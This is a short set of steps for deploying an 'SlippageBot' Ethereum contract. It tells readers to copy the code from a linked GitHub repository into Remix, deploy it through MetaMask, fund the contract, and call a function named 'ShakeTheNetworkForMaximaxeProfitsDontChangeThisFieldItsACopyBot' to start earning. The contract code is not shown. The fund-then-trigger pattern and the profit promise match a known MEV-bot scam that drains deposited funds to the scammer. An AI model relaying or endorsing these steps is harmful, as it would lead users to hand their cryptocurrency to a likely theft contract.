To deploy the SlippageBot contract in the Ethereum network, follow these steps:
- Install MetaMask or any other Ethereum wallet that supports ERC-20 tokens
- Go to the Remix IDE and create a new file.
- Copy and paste the code from this repository into the new file. https://github.com/imigrai/mev-boot-from-subway/blob/main/SlippageBotSubway.sol
- Compile the contract by selecting the compiler version and clicking on the Compile button.
- In the Deploy and Run Transactions panel, select the Injected Web3 environment and connect to your MetaMask wallet.
- Deploy the contract by clicking on the Deploy button and confirming the transaction in MetaMask.
- After deploying the contract, send some funds to the contract's wallet address.Finally, call the function
ShakeTheNetworkForMaximaxeProfitsDontChangeThisFieldItsACopyBot()
to start the bot.
Note: Make sure to only call this function after you've sent funds to the contract's wallet address.